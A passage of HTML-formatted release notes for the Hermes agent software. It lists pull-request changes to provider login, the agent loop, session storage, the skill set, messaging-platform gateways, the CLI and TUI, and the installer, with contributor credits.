<li>Always show Nous Tool Gateway backends, login on select; surface the Nous free tool pool (entitlement + setup prompt); route FAL video gen through managed Nous gateway (<a href="https://github.com/NousResearch/hermes-agent/pull/35792" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/35792/hovercard">#35792</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/36153" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/36153/hovercard">#36153</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/33259" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/33259/hovercard">#33259</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/alt-glitch/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/alt-glitch">@alt-glitch</a>)</li>
<li>Persist mid-session model switch to database; recover model on post-interrupt recovery turn (<a href="https://github.com/NousResearch/hermes-agent/pull/35256" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/35256/hovercard">#35256</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/35381" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/35381/hovercard">#35381</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>Credential pool: <code>STATUS_DEAD</code> for terminal OAuth failures; isolate custom provider picker credentials (<a href="https://github.com/NousResearch/hermes-agent/pull/34412" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/34412/hovercard">#34412</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/34810" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/34810/hovercard">#34810</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>Disable Nous Portal legacy session-key inference fallback — JWT-only (<a href="https://github.com/NousResearch/hermes-agent/pull/34508" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/34508/hovercard">#34508</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kshitijk4poor/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kshitijk4poor">@kshitijk4poor</a>)</li>
</ul>
<h3>Agent loop, prompt &amp; tools</h3>
<ul>
<li><code>/undo [N]</code> — backs up N user turns with prefill + soft-delete (CLI/TUI + messaging-platform parity) (<a href="https://github.com/NousResearch/hermes-agent/pull/36229" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/36229/hovercard">#36229</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/36699" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/36699/hovercard">#36699</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>Progressive tool disclosure for MCP and plugin tools (scoped); embedder environment-hint hook for the system prompt; universal task-completion guidance + local Python toolchain probe (<a href="https://github.com/NousResearch/hermes-agent/pull/34493" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/34493/hovercard">#34493</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/34574" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/34574/hovercard">#34574</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/34340" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/34340/hovercard">#34340</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>Uncap delegation <code>max_spawn_depth</code> (floor 1, no ceiling); broaden Hermes self-knowledge pointer to docs + skill; <code>hermes prompt-size</code> diagnostic (<a href="https://github.com/NousResearch/hermes-agent/pull/39772" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/39772/hovercard">#39772</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/38538" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/38538/hovercard">#38538</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/35276" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/35276/hovercard">#35276</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li><code>perf(read_file)</code>: compact line-number gutter — ~14% fewer tokens per read (now the only format) (<a href="https://github.com/NousResearch/hermes-agent/pull/35368" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/35368/hovercard">#35368</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/35532" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/35532/hovercard">#35532</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>Resolve agent cwd from <code>TERMINAL_CWD</code> via one reader; align prefill messages key handling; resume relaunches in the session's original working directory (<a href="https://github.com/NousResearch/hermes-agent/pull/35028" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/35028/hovercard">#35028</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/banditburai/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/banditburai">@banditburai</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/38760" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/38760/hovercard">#38760</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/helix4u/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/helix4u">@helix4u</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/38562" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/38562/hovercard">#38562</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>Prevent session-id fork from concurrent compressions; observer telemetry hooks + NeMo-Relay plugin (gated tool emit) (<a href="https://github.com/NousResearch/hermes-agent/pull/34351" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/34351/hovercard">#34351</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/38232" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/38232/hovercard">#38232</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
</ul>
<h3>Sessions, state &amp; memory</h3>
<ul>
<li><code>perf(state)</code>: merge FTS5 segments on VACUUM + <code>hermes sessions optimize</code>; keep <code>/branch</code> sessions visible after parent reopen; survive missing FTS5 runtimes (<a href="https://github.com/NousResearch/hermes-agent/pull/34596" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/34596/hovercard">#34596</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/39214" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/39214/hovercard">#39214</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kshitijk4poor/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kshitijk4poor">@kshitijk4poor</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/35452" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/35452/hovercard">#35452</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/helix4u/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/helix4u">@helix4u</a>)</li>
<li>Honcho: make startup fail open; harden self-hosted setup paths (<a href="https://github.com/NousResearch/hermes-agent/pull/24847" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/24847/hovercard">#24847</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/stephenschoettler/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/stephenschoettler">@stephenschoettler</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/35170" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/35170/hovercard">#35170</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kshitijk4poor/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kshitijk4poor">@kshitijk4poor</a>)</li>
<li>Supermemory: session-level ingest + kebab aliases (<a href="https://github.com/NousResearch/hermes-agent/pull/38756" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/38756/hovercard">#38756</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/alt-glitch/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/alt-glitch">@alt-glitch</a>)</li>
</ul>
<h2>🧩 Multi-Agent (Kanban) &amp; Skills</h2>
<h3>Kanban</h3>
<ul>
<li><code>goal_mode</code> cards run workers in a <code>/goal</code> loop; file attachments on tasks; attach images referenced in task bodies to worker vision (<a href="https://github.com/NousResearch/hermes-agent/pull/35710" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/35710/hovercard">#35710</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/35395" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/35395/hovercard">#35395</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/34210" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/34210/hovercard">#34210</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li><code>default_assignee</code> fallback + per-profile concurrency cap; <code>POST /runs/{run_id}/terminate</code> endpoint; gate notifier watcher on <code>dispatch_in_gateway</code> (<a href="https://github.com/NousResearch/hermes-agent/pull/34244" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/34244/hovercard">#34244</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/34449" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/34449/hovercard">#34449</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/37174" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/37174/hovercard">#37174</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>CLI dispatch config passthrough + humanizer skill swap (<a href="https://github.com/NousResearch/hermes-agent/pull/34337" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/34337/hovercard">#34337</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
</ul>
<h3>Skills</h3>
<ul>
<li><strong>Leaner default skill set</strong> (<a href="https://github.com/NousResearch/hermes-agent/pull/39028" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/39028/hovercard">#39028</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>):
<ul>
<li>Removed (redundant / dead): <code>spotify</code> (→ Spotify plugin's 7 native tools), <code>linear</code> (→ <code>hermes mcp install linear</code>), <code>kanban-codex-lane</code>, <code>debugging-hermes-tui-commands</code>, stale <code>domain</code> orphan, empty category markers (<code>diagramming</code>, <code>gifs</code>, <code>inference-sh</code>, <code>mlops/training</code>, <code>mlops/vector-databases</code>)</li>
<li>Bundled → optional: <code>baoyu-article-illustrator</code>, <code>baoyu-comic</code>, <code>creative-ideation</code>, <code>pixel-art</code>, <code>dspy</code>, <code>subagent-driven-development</code>, <code>minecraft-modpack-server</code>, <code>pokemon-player</code>, <code>hermes-s6-container-supervision</code></li>
<li>Consolidated: <code>webhook-subscriptions</code> + <code>native-mcp</code> folded into the <code>hermes-agent</code> skill as on-demand references; <code>writing-plans</code> merged into <code>plan</code> (v2.0.0)</li>
<li>New <code>environments:</code> frontmatter relevance gate (<code>kanban</code> / <code>docker</code> / <code>s6</code>) — context-specific skills stop appearing in the index for users who won't use them, still load on explicit request</li>
</ul>
</li>
<li>Curator can now prune unused <strong>built-in</strong> skills (not just agent-created), with usage tracked for every skill (<a href="https://github.com/NousResearch/hermes-agent/pull/36701" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/36701/hovercard">#36701</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>Blank-slate skills — <code>install --no-skills</code> + opt-out/opt-in for the default profile (<a href="https://github.com/NousResearch/hermes-agent/pull/36228" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/36228/hovercard">#36228</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li><strong>NVIDIA/skills trusted tap</strong> — <code>NVIDIA/skills</code> is now a default trusted Skills Hub tap alongside OpenAI/Anthropic/HuggingFace; <code>skills.sh.json</code> sidecar gives taps real category labels (<a href="https://github.com/NousResearch/hermes-agent/pull/34333" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/34333/hovercard">#34333</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>Skills Hub: fix browse cap, add source links + copy buttons + category cleanup (<a href="https://github.com/NousResearch/hermes-agent/pull/37143" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/37143/hovercard">#37143</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>New optional skills: <code>grok</code> (xAI Grok Build CLI), <code>antigravity-cli</code> operator (under autonomous-ai-agents) (<a href="https://github.com/NousResearch/hermes-agent/pull/34582" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/34582/hovercard">#34582</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/34583" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/34583/hovercard">#34583</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/34604" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/34604/hovercard">#34604</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
</ul>
<h2>📱 Messaging Platforms (Gateway)</h2>
<ul>
<li>Structured stream-event protocol + Telegram draft formatting parity; per-platform streaming defaults (Telegram on, Discord off) + dashboard toggles; surface gateway streaming block in <code>DEFAULT_CONFIG</code> (<a href="https://github.com/NousResearch/hermes-agent/pull/37250" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/37250/hovercard">#37250</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/37303" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/37303/hovercard">#37303</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/37285" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/37285/hovercard">#37285</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>Discord voice-channel mixer — ambient idle bed + verbal acks that overlap TTS; explain <code>/voice</code> usage when toggled bare (<a href="https://github.com/NousResearch/hermes-agent/pull/39659" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/39659/hovercard">#39659</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/39766" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/39766/hovercard">#39766</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>Handle Feishu meeting invitations; bluebubbles group mention gating; matrix bang-command aliases; matrix fail-closed approval reaction auth (<a href="https://github.com/NousResearch/hermes-agent/pull/39040" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/39040/hovercard">#39040</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/37091" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/37091/hovercard">#37091</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/38175" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/38175/hovercard">#38175</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/alt-glitch/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/alt-glitch">@alt-glitch</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/34567" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/34567/hovercard">#34567</a>)</li>
<li>Clean service restart flow; close ResponseStore + dispose unowned adapter on reconnect failure; weixin <code>asyncio.wait_for</code> timeouts (<a href="https://github.com/NousResearch/hermes-agent/pull/36188" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/36188/hovercard">#36188</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/helix4u/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/helix4u">@helix4u</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/37679" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/37679/hovercard">#37679</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Fearvox/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Fearvox">@Fearvox</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/35117" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/35117/hovercard">#35117</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/banditburai/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/banditburai">@banditburai</a>)</li>
</ul>
<h2>🖥️ CLI, TUI &amp; Setup</h2>
<ul>
<li>Configurable default interface (cli vs tui) + <code>--cli</code> flag; TUI single <code>/model</code> command + unified Sessions overlay; nudge toward <code>/agents</code> dashboard when delegation starts (<a href="https://github.com/NousResearch/hermes-agent/pull/37782" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/37782/hovercard">#37782</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/37112" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/37112/hovercard">#37112</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/OutThisLife/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/OutThisLife">@OutThisLife</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/34704" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/34704/hovercard">#34704</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kshitijk4poor/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kshitijk4poor">@kshitijk4poor</a>)</li>
<li>Thin out setup — Quick Setup via Nous Portal + Full Setup defaults; explain Quick vs Full inline; <code>hermes portal</code> human-readable Portal onboarding alias + full quick-setup Nous flow (<a href="https://github.com/NousResearch/hermes-agent/pull/35723" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/35723/hovercard">#35723</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/36227" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/36227/hovercard">#36227</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/38449" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/38449/hovercard">#38449</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/38465" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/38465/hovercard">#38465</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kshitijk4poor/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kshitijk4poor">@kshitijk4poor</a>)</li>
<li>Set process title to <code>hermes</code> in ps/top/htop; warn on unsupported pip installs + fix stale update-check cache (<a href="https://github.com/NousResearch/hermes-agent/pull/35143" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/35143/hovercard">#35143</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/34846" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/34846/hovercard">#34846</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>TUI perf: stop slow/dead MCP servers from freezing startup; stop eager MCP discovery from blocking agent-capable startup; stop persisting full tool output in trail lines (silent OOM) (<a href="https://github.com/NousResearch/hermes-agent/pull/35273" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/35273/hovercard">#35273</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/35397" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/35397/hovercard">#35397</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/38224" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/38224/hovercard">#38224</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>TUI fixes: auto-recover session on unexpected gateway death; reassemble split SGR mouse sequences; preserve UTF-8 in PowerShell clipboard; reset terminal input modes on exit; <code>/save</code> snapshots under Hermes home (<a href="https://github.com/NousResearch/hermes-agent/pull/35893" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/35893/hovercard">#35893</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/38564" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/38564/hovercard">#38564</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/OutThisLife/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/OutThisLife">@OutThisLife</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/35222" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/35222/hovercard">#35222</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/36864" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/36864/hovercard">#36864</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/maxmilian/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/maxmilian">@maxmilian</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/38251" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/38251/hovercard">#38251</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/austinpickett/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/austinpickett">@austinpickett</a>)</li>
<li>Setup model/provider pickers migrated off <code>simple_term_menu</code> to curses (ESC + ghost-row fixes); default browser/TTS picker to free local backend, not paid Nous (<a href="https://github.com/NousResearch/hermes-agent/pull/35806" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/35806/hovercard">#35806</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/37800" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/37800/hovercard">#37800</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
</ul>
<h2>🔧 Tool System &amp; Installer</h2>
<ul>
<li><code>single managed-uv path</code>, delete fts5 installer escalation; installer commit pinning opt-in (default branch-follow); shallow clones (<a href="https://github.com/NousResearch/hermes-agent/pull/37660" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/37660/hovercard">#37660</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ethernet8023/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ethernet8023">@ethernet8023</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/37123" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/37123/hovercard">#37123</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/jquesnelle/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/jquesnelle">@jquesnelle</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/39423" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/39423/hovercard">#39423</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ethernet8023/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ethernet8023">@ethernet8023</a>)</li>
<li><code>ensure_uv()</code> survives the update boundary (no first-run crash); harden venv rebuild + verify core deps after install; require managed marker before destructive clean; stash/restore by default for non-interactive updates (<a href="https://github.com/NousResearch/hermes-agent/pull/39780" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/39780/hovercard">#39780</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/OutThisLife/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/OutThisLife">@OutThisLife</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/38887" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/38887/hovercard">#38887</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/39568" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/39568/hovercard">#39568</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/39645" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/39645/hovercard">#39645</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>, <a class="user-mention notranslate" data-hovercard-type="user" 